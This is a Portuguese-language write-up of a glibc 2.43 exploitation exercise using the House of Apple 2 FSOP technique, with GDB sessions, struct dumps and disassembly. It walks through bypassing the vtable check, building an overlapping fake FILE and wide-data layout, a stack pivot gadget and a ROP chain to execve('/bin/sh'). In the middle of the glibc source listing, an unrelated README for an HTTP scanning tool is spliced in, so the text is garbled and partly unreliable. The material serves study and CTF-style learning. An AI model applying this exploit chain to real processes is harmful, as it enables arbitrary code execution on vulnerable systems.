
Passo a passo interativo do GDB para a técnica FSOP House of Apple 2 no glibc 2.43, com um sandbox reproduzível cobrindo bypass de vtable, stack pivoting e ROP.
Este repositório é um playground autocontido inspirado no módulo de Exploração de Estruturas de Arquivo do pwn.college. Ele não introduz uma nova variação da House of Apple 2, apenas responde à minha curiosidade sobre como a técnica se comporta em versões recentes da glibc e se ela continua sendo um caminho de exploração viável. O documento fornece um passo a passo interativo no GDB que os leitores podem acompanhar junto com o sandbox para desenvolver uma compreensão mais intuitiva da primitiva. Todos os experimentos usam glibc 2.43, conforme empacotada pelo Ubuntu 26.04 e Fedora 44 no momento da escrita.
File Stream Oriented Programming (FSOP). Trata-se de manipular estruturas de stream de arquivo da glibc para sequestrar o fluxo de controle. Uma forma de fazer isso é corromper o mecanismo de despacho da vtable de _IO_FILE_plus. A glibc moderna valida essa vtable, então a abordagem óbvia de substituí-la por um endereço arbitrário não funciona.
House of Apple 2, originalmente introduzida por Roderick, contorna essa restrição usando uma vtable válida de _IO_FILE_plus para alcançar a maquinaria de streams de caracteres largos, onde uma vtable secundária é despachada diretamente sem validação de intervalo. Isso fornece uma primitiva de chamada arbitrária que podemos escalar para um stack pivot e uma cadeia ROP.
Esta exploração assume que podemos sobrescrever uma estrutura FILE e que temos tanto um heap leak quanto um libc leak. O binário alvo já fornece isso.
O sandbox roda Ubuntu 26.04 LTS, nos dando um ambiente moderno para explorar a técnica.
A imagem inclui GDB, pwndbg, pwntools, ropper e tmux. Ela também contém um binário alvo com um menu interativo para invocar operações de stream de arquivo como fopen, fread, fwrite e fclose. Isso nos dá uma maneira conveniente de manipular streams durante a depuração e teste de ideias.
Compile e execute o sandbox com:``` ./build.sh ./run.sh
## Exploração
Vamos começar inspecionando as estruturas `_IO_FILE` e `_IO_FILE_plus`:```c
pwndbg> ptype struct _IO_FILE
type = struct _IO_FILE {
int _flags;
char *_IO_read_ptr;
char *_IO_read_end;
char *_IO_read_base;
char *_IO_write_base;
char *_IO_write_ptr;
char *_IO_write_end;
char *_IO_buf_base;
char *_IO_buf_end;
char *_IO_save_base;
char *_IO_backup_base;
char *_IO_save_end;
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2 : 24;
char _short_backupbuf[1];
__off_t _old_offset;
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
__off64_t _offset;
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
struct _IO_FILE **_prevchain;
int _mode;
int _unused3;
__uint64_t _total_written;
char _unused2[8];
}
pwndbg> ptype struct _IO_FILE_plus
type = struct _IO_FILE_plus {
FILE file;
const struct _IO_jump_t *vtable;
}
Em termos práticos, _IO_FILE_plus é um _IO_FILE com um ponteiro de vtable. Isso imediatamente parece interessante: se conseguirmos controlar esse ponteiro, podemos ser capazes de redirecionar uma chamada indireta e sequestrar o fluxo de controle.
Para inspecionar a vtable, vamos examinar um ponteiro FILE retornado por fopen.```c
pwndbg> p *(struct _IO_FILE_plus *)0x37ecf010
$4 = {
file = {
_flags = 0xfbad2480,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7f58a7f4b4a0 <IO_2_1_stderr>,
_fileno = 0x3,
_flags2 = 0x0,
_short_backupbuf = "",
_old_offset = 0x0,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "",
_lock = 0x37ecf0f0,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x37ecf100,
_freeres_list = 0x0,
_freeres_buf = 0x0,
_prevchain = 0x7f58a7f4b480 <_IO_list_all>,
_mode = 0x0,
_unused3 = 0x0,
_total_written = 0x0,
_unused2 = "\000\000\000\000\000\000\000"
},
vtable = 0x7f58a7f49030 <_IO_file_jumps>
}
O ponteiro aponta para a tabela `_IO_file_jumps`.

Este é um conjunto de 21 ponteiros de função. As operações de fluxo de arquivo são despachadas através de diferentes entradas dependendo do caminho de execução.
### Seguindo o caminho do `fwrite`
Para esta exploração, vou focar no caminho do `fwrite`. Depois de colocar breakpoints em cada função e chamar `fwrite`, o primeiro breakpoint que atingimos é `_IO_file_xsputn`.

A chamada ocorre em `fwrite+216`. Isto corresponde ao [código-fonte da glibc](https://elixir.bootlin.com/glibc/glibc-2.43/source/libio/iofwrite.c#L44): `_IO_sputn` é uma macro que despacha através da vtable, resolvendo para `_IO_file_xsputn` para este fluxo.```asm
0x00007fd5181d362a <+202>: mov rdx,rcx
0x00007fd5181d362d <+205>: mov rdi,rbx
0x00007fd5181d3630 <+208>: mov QWORD PTR [rbp-0x30],r8
0x00007fd5181d3634 <+212>: mov QWORD PTR [rbp-0x28],rcx
0x00007fd5181d3638 <+216>: call QWORD PTR [rax+0x38]
Como primeira tentativa, vamos sobrescrever o ponteiro da vtable com desired_func - 0x38 e definir um breakpoint em fwrite+216.```c
pwndbg> p &win
$3 = (<text variable, no debug info> *) 0x4019e1
pwndbg> p/x &win - 0x38
$4 = 0x4019a9
pwndbg> set ((struct _IO_FILE_plus *)0x5334010)->vtable = (void *)0x4019a9
pwndbg> b *fwrite+216
Breakpoint 4 at 0x7fd5181d3638: file ./libio/libioP.h, line 1042.

A execução é abortada antes de atingir o breakpoint. O erro sugere que a glibc valida o ponteiro da vtable antes de realizar a chamada indireta. Vamos inspecionar o backtrace e ver onde isso acontece.
`fwrite` atinge `_IO_vtable_check`, que está rejeitando o ponteiro de vtable forjado.

A implementação contém um mecanismo para aceitar vtables externas, mas não está sob nosso controle. O código relevante está disponível em [`vtables.c`](https://elixir.bootlin.com/glibc/glibc-2.43/source/libio/vtables.c#L504).
### Entendendo a validação da vtable
Quando `_IO_vtable_check` é chamado, já é tarde demais; a validação da vtable falhou. O frame anterior `IO_validate_vtable` no backtrace é a parte interessante, então vamos inspecioná-lo em vez disso.```c
pwndbg> disass IO_validate_vtable
❌️ No symbol "IO_validate_vtable" in current context.
O GDB não consegue resolver IO_validate_vtable como um símbolo. Olhando para o código-fonte, podemos ver que ele está embutido (inlined) em fwrite.```asm
0x00007fd5181d35f6 <+150>: lea rdi,[rip+0x1838e3] # 0x7fd518356ee0 <__io_vtables>
0x00007fd5181d35fd <+157>: mov rax,QWORD PTR [rbx+0xd8]
0x00007fd5181d3604 <+164>: mov r14,QWORD PTR [rbx+0xc8]
0x00007fd5181d360b <+171>: mov r15,QWORD PTR [rbx+0x28]
0x00007fd5181d360f <+175>: mov r12,QWORD PTR [rbx+0x20]
0x00007fd5181d3613 <+179>: mov rdx,rax
0x00007fd5181d3616 <+182>: sub rdx,rdi
0x00007fd5181d3619 <+185>: cmp rdx,0x92f
0x00007fd5181d3620 <+192>: ja 0x7fd5181d3780 <__GI__IO_fwrite+544>
Um ponteiro de vtable só é aceito quando está dentro de `[__io_vtables, __io_vtables + IO_VTABLES_LEN)`. Portanto, não podemos simplesmente apontá-lo para qualquer lugar que quisermos. Ainda assim, esta é uma região bastante grande que contém várias tabelas de saltos, o que nos dá algo para explorar.
O intervalo válido começa da seguinte forma:

## House of Apple 2
Agora entendemos o mecanismo básico e a sua principal restrição: a vtable de `_IO_FILE_plus` tem de apontar para algum lugar dentro da região de vtable válida da glibc. Isto bloqueia a abordagem óbvia, mas não fecha completamente a porta.
A House of Apple 2 contorna isto alcançando uma segunda vtable através da maquinaria de streams de caracteres largos. Esta segunda vtable não é validada da mesma forma. Vamos seguir esse caminho no GDB e ver como as peças se ligam.
### A maquinaria de streams de caracteres largos
Voltando a `_IO_FILE`, existe um campo `_wide_data` que aponta para uma estrutura `_IO_wide_data`. Esta estrutura tem uma vtable própria.```c
pwndbg> ptype struct _IO_wide_data
type = struct _IO_wide_data {
wchar_t *_IO_read_ptr;
wchar_t *_IO_read_end;
wchar_t *_IO_read_base;
wchar_t *_IO_write_base;
wchar_t *_IO_write_ptr;
wchar_t *_IO_write_end;
wchar_t *_IO_buf_base;
wchar_t *_IO_buf_end;
wchar_t *_IO_save_base;
wchar_t *_IO_backup_base;
wchar_t *_IO_save_end;
__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;
wchar_t _shortbuf[1];
const struct _IO_jump_t *_wide_vtable;
}
Seu layout parece bastante semelhante ao _IO_FILE. Ele faz parte da maquinaria da glibc para lidar com streams de caracteres largos.
O caminho que queremos passa por _IO_wfile_overflow, que pode eventualmente chamar _IO_wdoallocbuf.```c
wint_t
_IO_wfile_overflow (FILE f, wint_t wch)
{
if (f->_flags & _IO_NO_WRITES) / SET ERROR /
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return WEOF;
}
/ If currently reading or no buffer allocated. /
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0
|| f->_wide_data->_IO_write_base == NULL)
{
/ Allocate a buffer if needed. */
if (f->_wide_data->_IO_write_base == NULL)
{
_IO_wdoallocbuf (f); // <- this is it
_IO_free_wbackup_area (f);
if (f->_IO_write_base == NULL)
{
_IO_doallocbuf (f);
_IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
}
_IO_wsetg (f, f->_wide_data->_IO_buf_base,
f->_wide_data->_IO_buf_base, f->_wide_data->_IO_buf_base);
}
else
{
...
`--url` | URL do alvo (obrigatório) |
| `--method` | Método HTTP (padrão: GET) |
| `--data` | Corpo da requisição POST |
| `--headers` | Cabeçalhos personalizados (formato: `Key:Value,Key2:Value2`) |
| `--proxy` | Proxy (ex.: `http://127.0.0.1:8080`) |
| `--timeout` | Tempo limite da requisição em segundos (padrão: 10) |
| `--user-agent` | User-Agent personalizado |
| `--follow-redirects` | Seguir redirecionamentos HTTP |
| `--verify-ssl` | Verificar certificados SSL |
| `--concurrency` | Número de requisições simultâneas (padrão: 10) |
| `--delay` | Atraso entre requisições em milissegundos |
| `--rate-limit` | Limite de taxa (requisições por segundo) |
| `--retries` | Número de tentativas em caso de falha (padrão: 3) |
| `--output` | Arquivo de saída (padrão: stdout) |
| `--format` | Formato de saída: `json`, `csv`, `table` (padrão: table) |
| `--verbose` | Saída detalhada |
| `--silent` | Modo silencioso (apenas resultados) |
| `--config` | Arquivo de configuração (YAML) |
| `--log-level` | Nível de log: `debug`, `info`, `warn`, `error` |
| `--no-color` | Desabilitar saída colorida |
| `--version` | Mostrar versão e sair |
| `--help` | Mostrar mensagem de ajuda |
### Exemplos
```bash
# Uso básico
./tool --url https://example.com
# Com método POST e dados
./tool --url https://example.com/api --method POST --data '{"key":"value"}'
# Com cabeçalhos personalizados
./tool --url https://example.com --headers "Authorization:Bearer token,X-Custom:value"
# Usando proxy
./tool --url https://example.com --proxy http://127.0.0.1:8080
# Saída em JSON
./tool --url https://example.com --format json --output results.json
# Com limite de taxa e simultaneidade
./tool --url https://example.com --rate-limit 5 --concurrency 20
# Modo silencioso com saída detalhada
./tool --url https://example.com --silent --verbose
# config.yaml
url: https://example.com
method: GET
headers:
User-Agent: "Mozilla/5.0"
Accept: "application/json"
timeout: 30
concurrency: 10
rate_limit: 5
retries: 3
output: results.json
format: json
verbose: false
A ferramenta suporta múltiplos formatos de saída:
+---------------------+--------+----------+
| URL | Status | Tamanho |
+---------------------+--------+----------+
| https://example.com | 200 | 1256 |
| https://example.com | 404 | 0 |
+---------------------+--------+----------+
{
"results": [
{
"url": "https://example.com",
"status": 200,
"size": 1256,
"headers": {
"content-type": "text/html"
}
}
]
}
url,status,size,content_type
https://example.com,200,1256,text/html
./tool --url https://api.example.com/health --format json
./tool --url https://example.com --concurrency 50 --rate-limit 100 --retries 5
./tool --url https://example.com --verbose | grep -i "security"
# .github/workflows/security.yml
- name: Executar verificação de segurança
run: |
./tool --url ${{ secrets.TARGET_URL }} \
--format json \
--output results.json \
--silent
./tool --url https://example.com --log-level debug --verbose
# Testar conectividade básica
curl -I https://example.com
# Testar com proxy
curl -I --proxy http://127.0.0.1:8080 https://example.com
Contribuições são bem-vindas! Por favor, siga estas diretrizes:
git checkout -b feature/nova-funcionalidade)git commit -am 'Adiciona nova funcionalidade')git push origin feature/nova-funcionalidade)Este projeto está licenciado sob a Licença MIT - consulte o arquivo LICENSE para obter detalhes.
Esta ferramenta é destinada apenas para fins educacionais e de teste de segurança autorizado. Os autores não são responsáveis por qualquer uso indevido ou danos causados por esta ferramenta. Sempre obtenha permissão por escrito antes de testar qualquer sistema.
`_IO_WDOALLOCATE` é outra macro de despacho, desta vez operando através da wide vtable. A chamada indireta torna-se clara na desmontagem:

Aqui está a parte interessante. Em `_IO_wdoallocbuf+44` a glibc carrega o ponteiro `_wide_vtable` a partir de `_wide_data`. Em `_IO_wdoallocbuf+55` chama o ponteiro de função em `_wide_vtable + 0x68`. Desta vez não há validação de intervalo.
### Conectando as duas vtables
Agora as peças começam a conectar-se. `_IO_wfile_overflow` pertence a `_IO_wfile_jumps` que existe dentro do intervalo válido aceite pela primeira verificação da vtable. A partir daí, a execução pode alcançar outra chamada indireta através da `_wide_vtable` não validada.
```c
pwndbg> p &__io_vtables < &_IO_wfile_jumps < (void *)&__io_vtables+0x92f
$5 = 0x1
A ideia geral agora é:
_IO_FILE_plus para que o slot relevante resolva para _IO_wfile_overflow._wide_data para uma estrutura _IO_wide_data forjada cuja _wide_vtable seja desired_function - 0x68.Antes de tentar a próxima execução, precisamos satisfazer algumas condições para alcançar _IO_wdoallocbuf.
Em _IO_wfile_overflow:
_flags não deve conter _IO_NO_WRITES (0x0008)_wide_data->_IO_write_base deve ser NULLEm _IO_wdoallocbuf:
fp->_wide_data->_IO_buf_base deve ser NULL_flags não deve conter _IO_UNBUFFERED (0x0002)Há mais um detalhe. _IO_FILE contém um campo _lock que a glibc desreferencia ao adquirir e liberar o lock do stream. Precisamos apontá-lo para uma região gravável de 0x10 bytes inicializada com zero, caso contrário a operação do stream irá crashar antes de alcançar a nossa chamada.
Tudo está pronto, vamos tentar novamente. Desta vez a verificação de intervalo externa passa, e a primeira chamada indireta despacha para _IO_wfile_overflow.

A estrutura forjada também satisfaz as condições em _IO_wfile_overflow. A execução continua para _IO_wdoallocbuf. Finalmente, as verificações em _IO_wdoallocbuf passam, e a chamada indireta em _IO_wdoallocbuf+55 cai na nossa função win.
Já que estamos aqui, vale a pena olhar para o estado dos registradores imediatamente antes da chamada indireta final.

Tanto RDI quanto RDX apontam para o início da estrutura FILE controlada. Não controlamos diretamente o primeiro e o terceiro registradores de argumento, mas controlamos a memória para a qual eles apontam. Legal!
A primitiva está implementada em ./exp/house_of_apple2.py. A abordagem direta seria colocar um _IO_FILE_plus completo, um _IO_wide_data completo e uma vtable wide falsa separada, um após o outro. Isso funcionaria, mas também exigiria um buffer bastante grande.
Podemos tornar o payload menor sobrepondo-os.
O _IO_wide_data falso começa no offset 0x08, dentro do _IO_FILE_plus falso. Isso funciona porque a maioria dos campos envolvidos na sobreposição pode permanecer zero. Convenientemente, _wide_data->_IO_write_base e _wide_data->_IO_buf_base sobrepõem-se a _IO_write_base e _IO_buf_base na estrutura FILE, e ambos os pares precisam ser NULL.
As partes importantes do layout são:
As duas últimas entradas são a chave para a chamada arbitrária. _wide_vtable aponta de volta para o payload no offset 0x78. Quando _IO_wdoallocbuf despacha através de _wide_vtable + 0x68, ele lê o ponteiro de função armazenado no offset 0xe0:```text
wide_vtable = base + 0x78
wide_vtable+0x68 = base + 0xe0
É aqui que colocamos o endereço da função que queremos chamar.
A vtable externa depende da operação usada para acionar a primitiva. Para `fwrite`, o despacho acontece através do slot em `+0x38`, então o ponteiro é ajustado até que esse slot resolva para `_IO_wfile_overflow`. A implementação também suporta `fread` e `fclose` aplicando os deslocamentos de despacho correspondentes.
Com este layout, um único buffer compacto contém a estrutura `FILE` falsa, o `_IO_wide_data` sobreposto, a vtable wide falsa e o ponteiro de função final.
## Stack pivoting
Neste ponto temos uma primitiva de chamada arbitrária, mas nosso controle sobre os registradores é limitado. O próximo passo é pivotar a pilha para memória controlada e iniciar uma cadeia ROP.
Em `__push___start_context+63` há um gadget útil de stack pivot `mov rsp, rdx; ret`.```asm
pwndbg> disass __push___start_context
Dump of assembler code for function __push___start_context:
0x00007f46729440d0 <+0>: endbr64
0x00007f46729440d4 <+4>: rdsspq rcx
0x00007f46729440d9 <+9>: mov rdx,rsp
0x00007f46729440dc <+12>: mov rsi,QWORD PTR [rdi+0xa0]
0x00007f46729440e3 <+19>: lea rsp,[rsi+0x8]
0x00007f46729440e7 <+23>: mov rsi,QWORD PTR [rdi+0x3b8]
0x00007f46729440ee <+30>: mov rax,QWORD PTR [rdi+0x3b0]
0x00007f46729440f5 <+37>: rstorssp QWORD PTR [rax+rsi*1-0x8]
0x00007f46729440fb <+43>: saveprevssp
0x00007f46729440ff <+47>: call 0x7f4672944106 <__push___start_context+54>
0x00007f4672944104 <+52>: jmp 0x7f4672944120 <__start_context>
0x00007f4672944106 <+54>: rstorssp QWORD PTR [rcx-0x8]
0x00007f467294410b <+59>: saveprevssp
0x00007f467294410f <+63>: mov rsp,rdx
0x00007f4672944112 <+66>: ret
End of assembler dump.
Já sabemos que RDX aponta para o início da nossa estrutura FILE controlada no momento da chamada arbitrária. Se chamarmos este gadget, RSP move-se diretamente para a nossa estrutura falsa e a execução continua a partir dos valores armazenados lá. Isso deve nos dar o início de uma cadeia ROP.
Um detalhe: a cadeia ROP sobrepõe-se à memória da estrutura FILE falsa, portanto as restrições de campos de _IO_wdoallocbuf ainda se aplicam. O primeiro qword sobrepõe-se a _flags, o que significa que o seu valor não pode definir _IO_NO_WRITES (0x8) nem _IO_UNBUFFERED (0x2). O nosso primeiro gadget, portanto, precisa de um endereço com esses bits limpos no seu byte menos significativo.
O gadget ret em _nl_archive_subfreeres+96 deve servir. Não é uma instrução ret realmente presente no código original nesse limite, mas é um gadget válido a meio da instrução nesse endereço deslocado. O seu byte menos significativo é 0x00, portanto colocar o endereço em _flags não define _IO_NO_WRITES nem _IO_UNBUFFERED.```asm
pwndbg> tele 0x7f4672919d00 1
00:0000│ 0x7f4672919d00 (_nl_archive_subfreeres+96) ◂— ret
Temos mais dois buracos na cadeia porque `_IO_write_base` e `_IO_buf_base` devem permanecer `NULL`. Ainda podemos tornar esses slots úteis consumindo-os como valores zero para os gadgets `pop` anteriores.
Por fim, não podemos sobrescrever `_lock`, localizado no offset `0x88`. Isso nos deixa com 17 qwords para a cadeia ROP inline, o que é mais do que suficiente para obter controle total do processo.
O layout da ROP em [./exp/ace.py](https://github.com/jazho76/house_of_apple_2/blob/main/exp/ace.py) é:```
0x00: _nl_archive_subfreeres+96 # pointer to ret instruction
# with least significant byte as 0x00
0x08: pop rdi gadget
0x10: "/bin/sh" string in libc
0x18: pop rsi gadget
0x20: 0x0000000000000000 # _IO_write_base as NULL
0x50: address to execve # call execve("/bin/sh", NULL)

Agora alcançámos execução arbitrária de código.
fsop-finder, que identificou independentemente o caminho _IO_wdoallocbuf enquanto explorava caminhos FSOP modernos.O House of Apple 2 mostra como uma vtable válida da glibc pode alcançar a maquinaria de caracteres largos e despachar através de uma vtable secundária não validada. O mesmo caminho permanece reproduzível na compilação da glibc 2.43 usada pela sandbox. Embora os layouts, deslocamentos e gadgets possam mudar entre compilações, a ideia subjacente de fluxo de controlo continua a aplicar-se.
| Erro | Causa | Solução |
|---|
connection refused | Servidor não está em execução ou porta incorreta | Verifique a URL e a porta |
timeout | Servidor lento ou rede instável | Aumente --timeout |
SSL certificate error | Certificado inválido ou autoassinado | Use --no-verify-ssl (apenas para testes) |
too many redirects | Loop de redirecionamento | Verifique a configuração do servidor |
| Offset do payload | Interpretação como _IO_FILE_plus | Interpretação como _IO_wide_data | Valor |
|---|
0x00 | _flags | - | Não deve definir _IO_NO_WRITES ou _IO_UNBUFFERED |
0x08 | _IO_read_ptr | Início do _IO_wide_data falso | Zero |
0x20 | _IO_write_base | _IO_write_base | NULL |
0x38 | _IO_buf_base | _IO_buf_base | NULL |
0x78 | _old_offset | Início da vtable wide falsa | Dados da vtable sobrepostos |
0x88 | _lock | - | Ponteiro para um valor zero em memória gravável |
0xa0 | _wide_data | - | base + 0x08 |
0xd8 | vtable de _IO_FILE_plus | - | Posição que despacha para _IO_wfile_overflow |
0xe0 | - | Entrada da vtable wide falsa em +0x68 | Endereço da função arbitrária |
0xe8 | - | _wide_vtable | base + 0x78 |